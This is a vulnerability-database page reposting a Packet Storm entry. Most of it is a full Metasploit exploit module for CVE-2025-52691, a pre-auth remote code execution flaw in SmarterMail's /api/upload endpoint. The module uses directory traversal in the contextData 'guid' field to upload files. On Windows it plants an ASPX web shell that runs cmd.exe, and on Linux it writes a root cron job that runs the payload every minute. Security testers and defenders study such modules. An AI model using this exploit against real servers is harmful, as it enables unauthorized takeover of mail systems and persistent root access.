Lucene search
K

📄 SmarterTools SmarterMail GUID File Upload

🗓️ 23 Jan 2026 00:00:00Reported by jheysel-r7, Sina Kheirkhah, Piotr BazydloType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 125 Views

Pre-auth remote code execution in SmarterMail before 100.0.9413 via /api/upload with guid.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2025-52691
30 Dec 202518:21
githubexploit
GithubExploit
Exploit for Unrestricted Upload of File with Dangerous Type in Smartertools Smartermail
8 Jan 202611:42
githubexploit
GithubExploit
Exploit for Unrestricted Upload of File with Dangerous Type in Smartertools Smartermail
5 Jan 202613:46
githubexploit
GithubExploit
Exploit for CVE-2025-52691
29 Dec 202516:23
githubexploit
GithubExploit
Exploit for CVE-2025-52691
30 Dec 202514:58
githubexploit
GithubExploit
Exploit for Unrestricted Upload of File with Dangerous Type in Smartertools Smartermail
23 Jan 202611:48
githubexploit
GithubExploit
Exploit for CVE-2025-52691
30 Dec 202510:24
githubexploit
GithubExploit
Exploit for CVE-2025-52691
30 Dec 202518:37
githubexploit
GithubExploit
Exploit for CVE-2025-52691
30 Dec 202506:13
githubexploit
GithubExploit
Exploit for CVE-2025-52691
31 Dec 202507:01
githubexploit
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
      include Msf::Exploit::Remote::HTTP::Smartermail
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'SmarterTools SmarterMail GUID File Upload Vulnerability',
            'Description' => %q{
              This module exploits a pre-auth remote code execution vulnerability in SmarterTools SmarterMail before version 100.0.9413.
              The endpoint /api/upload fails to sanitize the contextData POST parameter which can contain JSON data with a
              "guid" key that allows directory traversal. By leveraging this vulnerability, an unauthenticated attacker can
              upload a malicious ASPX web shell to the server's web root directory, leading to remote code execution.
            },
            'Author' => [
              'Piotr Bazydlo', # PoC write up
              'Sina Kheirkhah', # PoC write up
              'jheysel-r7' # module
            ],
            'References' => [
              [ 'URL', 'https://labs.watchtowr.com/do-smart-people-ever-say-theyre-smart-smartertools-smartermail-pre-auth-rce-cve-2025-52691/'],
              [ 'CVE', '2025-52691']
            ],
            'License' => MSF_LICENSE,
            'Privileged' => false,
            'Targets' => [
              [
                'Unix Command',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD,
                  'Type' => :nix,
                  'BadChars' => "'",
                  'DefaultOptions' => {
                    'WfsDelay' => 70
                  }
                }
              ],
              [
                'Windows Command',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD,
                  'Type' => :win,
                  'BadChars' => '"'
                }
              ],
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2025-10-09',
            'Notes' => {
              'Stability' => [ CRASH_SAFE, ],
              'SideEffects' => [ ARTIFACTS_ON_DISK, ],
              'Reliability' => [ REPEATABLE_SESSION, ]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'The path of a backdoor shell', '']),
            OptInt.new('DEPTH', [true, 'Traversal Depth', 15]),
            OptInt.new('WEB_ROOT_RPORT', [true, 'The port in which the webroot is served on. Note on Windows this is different from the modules\'s RPORT', 80], conditions: %w[TARGET == 1]),
            OptString.new('TARGET_DIR', [false, 'Directory to place the payload, on Windows this defaults to the WebRoot, on Linux/Unix it defaults to /tmp which gets called by a cron job', nil])
          ]
        )
      end
    
      def windows_payload_wrapper
        vars = Rex::RandomIdentifier::Generator.new
    
        <<~EOF
          <%@ Page Language="C#" Debug="true" Trace="false" %>
          <%@ Import Namespace="System.Diagnostics" %>
          <script Language="c#" runat="server">
          void Page_Load(object sender, EventArgs e)
          {
          ProcessStartInfo #{vars[:process_start_info]} = new ProcessStartInfo();
          #{vars[:process_start_info]}.FileName = "cmd.exe";
          #{vars[:process_start_info]}.Arguments =  "/c "+ @"#{payload.encoded}";
          #{vars[:process_start_info]}.RedirectStandardOutput = true;
          #{vars[:process_start_info]}.UseShellExecute = false;
          Process #{vars[:process]} = Process.Start(#{vars[:process_start_info]});
          }
          </script>
        EOF
      end
    
      def check
        check_version('100.0.9413')
      end
    
      def upload_payload(target_dir, filename, payload_contents)
        post_data = Rex::MIME::Message.new
        resumable_filename = Rex::Text.rand_text_alpha(4..8)
        resumable_filename += '.aspx' if target['Platform'] == 'win' # the resumableFilename is where the file extension is taken from
    
        post_data.add_part('attachment', nil, nil, 'form-data; name="context"')
        post_data.add_part(filename, nil, nil, 'form-data; name="resumableIdentifier"')
        post_data.add_part(resumable_filename, nil, nil, 'form-data; name="resumableFilename"')
        post_data.add_part("{\"guid\":\"dag/#{'../' * datastore['DEPTH']}#{target_dir}/#{filename}\"}", 'application/json', nil, 'form-data; name="contextData"')
        post_data.add_part(payload_contents, 'application/octet-stream', nil, "form-data; name=\"#{Faker::Name.first_name}\"; filename=\"#{Faker::File.file_name(dir: '').gsub('/', '')}\"")
    
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'api', 'upload'),
          'method' => 'POST',
          'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
          'data' => post_data.to_s
        )
    
        fail_with(Failure::UnexpectedReply, 'File upload failed') unless res && res.code == 200
        json_output = res.get_json_document
        fail_with(Failure::UnexpectedReply, 'Unable to parse filename, cannot continue') unless json_output.key?('key')
        json_output['key'] =~ %r{([^/]+)$}
        uploaded_filename = Regexp.last_match(1)
        print_good("The uploaded payload file is named: #{uploaded_filename}")
        uploaded_filename
      end
    
      def exploit
        payload_name = Rex::Text.rand_text_alpha(4..8)
        if target['Platform'] == 'win'
          target_dir = datastore['TARGET_DIR'].blank? ? '/inetpub/wwwroot' : datastore['TARGET_DIR']
          print_status("Uploading payload to #{target_dir}...")
          uploaded_filename = upload_payload(target_dir, payload_name, windows_payload_wrapper)
          register_file_for_cleanup("#{target_dir}/#{uploaded_filename}")
    
          datastore['RPORT'] = datastore['WEB_ROOT_RPORT']
          send_request_cgi(
            'uri' => normalize_uri(target_uri.path, uploaded_filename),
            'method' => 'GET'
          )
        else
          target_dir = datastore['TARGET_DIR'].blank? ? '/tmp' : datastore['TARGET_DIR']
          print_status("Uploading payload to #{target_dir}...")
          uploaded_filename = upload_payload(target_dir, payload_name, payload.encoded)
          register_file_for_cleanup("#{target_dir}/#{uploaded_filename}")
    
          payload_path = "#{target_dir}/#{uploaded_filename}"
          cron_command = "chmod +x #{payload_path} && #{payload_path}&"
          cron_contents = "* * * * * root /bin/bash -c '#{cron_command}'\n"
          cron_filename = Rex::Text.rand_text_alpha(8..12)
          cron_target_dir = '/etc/cron.d'
          print_status('Uploading cronjob to call payload...')
          uploaded_cron_filename = upload_payload(cron_target_dir, cron_filename, cron_contents)
          register_file_for_cleanup("#{cron_target_dir}/#{uploaded_cron_filename}")
        end
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Jan 2026 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 3.110
EPSS0.8966
SSVC
125